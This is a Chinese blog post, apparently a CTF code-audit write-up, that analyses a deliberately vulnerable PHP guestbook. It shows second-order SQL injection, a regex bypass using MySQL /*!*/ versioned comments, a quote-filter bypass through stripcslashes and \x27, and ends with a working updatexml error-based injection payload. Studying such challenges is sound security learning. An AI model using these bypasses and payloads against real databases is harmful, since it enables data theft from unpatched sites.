前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >从二次注入,到报错注入注入,再到正则表达式绕过

从二次注入,到报错注入注入,再到正则表达式绕过

作者头像
用户5878089
发布2019-07-23 10:48:31
8920
发布2019-07-23 10:48:31
举报

0x01前言

回顾了下以前的代码审计

三个白帽,很经典

现在估计都没有了吧。

0x02 分析

代码语言:javascript
复制
<?php
include 'db.inc.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}

function filter($str){
    $rstr = "";
    for($i=0;$i<strlen($str);$i++){
        if(ord($str[$i])>31 && ord($str[$i])<127){
            $rstr = $rstr.$str[$i];
        }
    }
    $rstr = str_replace('\'','',$rstr);
    return $rstr;
}


if(!empty($message)){
    if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
        die("hello,sangebaimao!");
    }
    if(filter($message) !== $message){
        die("hello,sangebaimao!");
    }

    $sql="insert guestbook(`message`) value('$message');";
    mysql_query($sql);
    $sql = "select * from guestbook order by id limit 0,5;";
    $result = mysql_query($sql);
    if($result){
        while($row = mysql_fetch_array($result)){
            $id = $row['id'];
            $message = $row['message'];
            echo "|$id|=>|$message|<br/>";
        }
    }

    $message = stripcslashes($message);
    $sql = "delete from guestbook where id=$id or message ='$message';";
    if(!mysql_query($sql)){
        print(mysql_error());
        $sql = "delete from guestbook where id=$id";
        mysql_query($sql);
    };
}
?>

源码如题, 在我本地间的构造了一个数据库,然后就运行了。

  • 不难看出,有两个过滤的地方,一个是filter函数,另外一个是正则绕过。这是对输入的绕过。
  • 代码的逻辑也很简单,插入,显示,取出,删除。
  • 我们插入的数据,进入第二次的查询,这就存在二次注入了。二次注入的逻辑也很简单,只要插入的数据经过过滤之后可以正常查询就好了。
  • 然后就是回显的问题了,有一个print(mysql_error());那么就可以直接使用报错注入了

以上是对程序的简单分析。

0x03 绕过

  1. 关于单引号的绕过,这个地方比较特别,程序中有一个 message=stripcslashes(message);关于这个函数的作用可以简要要说明一下: 反引用一个使用 [addcslashes()](https://www.php.net/manual/zh/function.addcslashes.php) 转义的字符串 返回反转义后的字符串。可识别类似 C 语言的 *\n*,*\r*,... 八进制以及十六进制的描述。 stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo' 既然可以转义,直接让他来转义\x27 就可以使用单引号了。
  2. 关于正则的绕过 可以看出正则表达式中有\b 先来看看\b的作用,\b的作用是匹配单词的边界。所谓的单词的边界就是特殊符号的边界。 绕过的思路就来了,假设我们想使用select 在select前后加点单词就可以了。 这里提一个mysql的tips /*!*/ 只在mysql中有用,在别的数据库中这只是注释,但是在mysql,/*!select 1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释. mysql> select version(); +-----------+ | version() | +-----------+ | 5.7.9-log | +-----------+ 1 row in set (0.00 sec) mysql> select /*!50709version()*/; +-----------+ | version() | +-----------+ | 5.7.9-log | +-----------+ 1 row in set (0.00 sec)
  3. 关于报错注入
代码语言:javascript
复制
UpdateXML(xml_target, xpath_expr, new_xml)
updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

这个报错注入的原理是利用updatexml的参数错误,首先不能有语法错误,要不然注入的语句根本无法执行,语法正确后,先去执行concat(0x27,(/*!00000select version()*/)),得到'5.5.42-log,作为第二个参数传入updatexml函数中,而updatexml第二个参数为xml的匹配表达式,单引号为非法字符,因此报错,输出错误内容'5.5.42-log, 因此得到了你想要得到的数据

payload

代码语言:javascript
复制
?message=aaa\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 无级安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01前言
    • 0x02 分析
      • 0x03 绕过
      相关产品与服务
      云数据库 SQL Server
      腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档